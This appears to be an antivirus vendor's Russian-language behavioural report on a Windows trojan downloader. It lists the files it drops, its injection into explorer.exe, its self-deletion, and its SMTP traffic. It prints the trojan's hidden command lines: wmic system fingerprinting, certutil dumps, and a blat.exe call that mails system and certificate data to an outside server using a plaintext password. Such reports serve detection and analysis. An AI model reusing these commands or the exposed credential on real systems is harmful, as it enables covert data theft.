Trojan.DownLoader32.55923

Техническая информация

Вредоносные функции

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\explorer.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nsua897.tmp\system.dll
%ProgramFiles(x86)%\cofpo\correo
%TEMP%\service
%TEMP%\status
%ProgramFiles(x86)%\cofpo\certkey
%TEMP%\dump
%TEMP%\nsua897.tmp\nsisdl.dll
%TEMP%\nsua897.tmp\math.dll
%ProgramFiles(x86)%\cofpo\actualizaciones
%ProgramFiles(x86)%\cofpo\java
%TEMP%\hsperfdata_user\2128
%ProgramFiles(x86)%\cofpo\cert
%TEMP%\nsua897.tmp\nsexec.dll
%TEMP%\nsua897.tmp\nsprocess.dll
%ProgramFiles(x86)%\cofpo\dump.bat
%ProgramFiles(x86)%\cofpo\cstoremini.vbs
%ProgramFiles(x86)%\cofpo\autoupdate.vbs
%ProgramFiles(x86)%\cofpo\ansitoutf8.vbs
%ProgramFiles(x86)%\cofpo\actualizaciones.vbs
%ProgramFiles(x86)%\cofpo\obtenerred.vbs
%ProgramFiles(x86)%\cofpo\getip.vbs
%ProgramFiles(x86)%\cofpo\blat.dll
%ProgramFiles(x86)%\cofpo\blat.exe
%ProgramFiles(x86)%\cofpo\7za.dll
%ProgramFiles(x86)%\cofpo\7za.exe
%ProgramFiles(x86)%\cofpo\cstore.vbs
%ProgramFiles(x86)%\cofpo\capicom.dll
%ProgramFiles(x86)%\cofpo\serialnumber.bat
%TEMP%\nsua897.tmp\selfdel.dll

Удаляет следующие файлы

%TEMP%\nsua897.tmp\math.dll
%TEMP%\nsua897.tmp\nsexec.dll
%TEMP%\nsua897.tmp\nsisdl.dll
%TEMP%\nsua897.tmp\nsprocess.dll
%TEMP%\nsua897.tmp\selfdel.dll
%TEMP%\nsua897.tmp\system.dll

Самоудаляется.

Сетевая активность

TCP

'sm##.cofpo.org':25

UDP

DNS ASK sm##.cofpo.org

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\COFPO\GetIP.vbs" "%ProgramFiles(x86)%\COFPO\IP"
'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\COFPO\AutoUpdate.vbs"
'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\COFPO\Actualizaciones.vbs" "%ProgramFiles(x86)%\COFPO\Actualizaciones"
'%ProgramFiles(x86)%\cofpo\blat.exe' -server smtp.cofpo.org:25 -f correointerno@cofpo.org -u correointerno@cofpo.org -pw HXmSp66klv -from correointerno@cofpo.org -to errores@cofpo.org -subject "REVOCADO Farma:###IP_PC:###IP_Cert:#...
'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\COFPO\AutoUpdate.vbs"' (со скрытым окном)
'%WINDIR%\syswow64\findstr.exe' /M /I "Input Error: Can not find script file "%TEMP%\CStoreMini.vbs"." %ProgramFiles(x86)%\COFPO\Certkey' (со скрытым окном)
'%WINDIR%\syswow64\findstr.exe' /M /I "Input Error: Can not find script file "%TEMP%\CStoreMini.vbs"." %ProgramFiles(x86)%\COFPO\dump' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""%ProgramFiles(x86)%\COFPO\dump.bat""' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""%ProgramFiles(x86)%\COFPO\SerialNumber.bat""' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get lastBootUpTime /Value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get version /value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get suiteMask /value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get servicePackMinorVersion /value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get servicePackMajorVersion /value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get buildNumber /value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get caption /value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get FreePhysicalMemory /Value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' DISKDRIVE GET SerialNumber /value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get TotalVisibleMemorySize /value' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' cpu get Name /value' (со скрытым окном)
'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\COFPO\Actualizaciones.vbs" "%ProgramFiles(x86)%\COFPO\Actualizaciones"' (со скрытым окном)
'%PROGRAMDATA%\oracle\java\javapath\java.exe' -version' (со скрытым окном)
'%WINDIR%\syswow64\wscript.exe' "%ProgramFiles(x86)%\COFPO\GetIP.vbs" "%ProgramFiles(x86)%\COFPO\IP"' (со скрытым окном)
'%WINDIR%\syswow64\wbem\wmic.exe' OS get installDate /value' (со скрытым окном)
'%ProgramFiles(x86)%\cofpo\blat.exe' -server smtp.cofpo.org:25 -f correointerno@cofpo.org -u correointerno@cofpo.org -pw HXmSp66klv -from correointerno@cofpo.org -to errores@cofpo.org -subject "REVOCADO Farma:###IP_PC:###IP_Cert:#...' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\wbem\wmic.exe' cpu get Name /value
'%WINDIR%\syswow64\findstr.exe' /M /I "Input Error: Can not find script file "%TEMP%\CStoreMini.vbs"." %ProgramFiles(x86)%\COFPO\dump
'%WINDIR%\syswow64\certutil.exe' -dump %TEMP%\crl
'%WINDIR%\syswow64\cmd.exe' /c ""%ProgramFiles(x86)%\COFPO\dump.bat""
'%WINDIR%\syswow64\cscript.exe'
'%WINDIR%\syswow64\regsvr32.exe'
'%WINDIR%\syswow64\cmd.exe' /c ""%ProgramFiles(x86)%\COFPO\SerialNumber.bat""
'%WINDIR%\syswow64\wbem\wmic.exe' OS get lastBootUpTime /Value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get version /value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get suiteMask /value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get installDate /value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get buildNumber /value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get servicePackMinorVersion /value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get servicePackMajorVersion /value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get caption /value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get FreePhysicalMemory /Value
'%WINDIR%\syswow64\wbem\wmic.exe' DISKDRIVE GET SerialNumber /value
'%WINDIR%\syswow64\wbem\wmic.exe' OS get TotalVisibleMemorySize /value
'%WINDIR%\syswow64\findstr.exe' /M /I "Input Error: Can not find script file "%TEMP%\CStoreMini.vbs"." %ProgramFiles(x86)%\COFPO\Certkey
'%WINDIR%\syswow64\explorer.exe'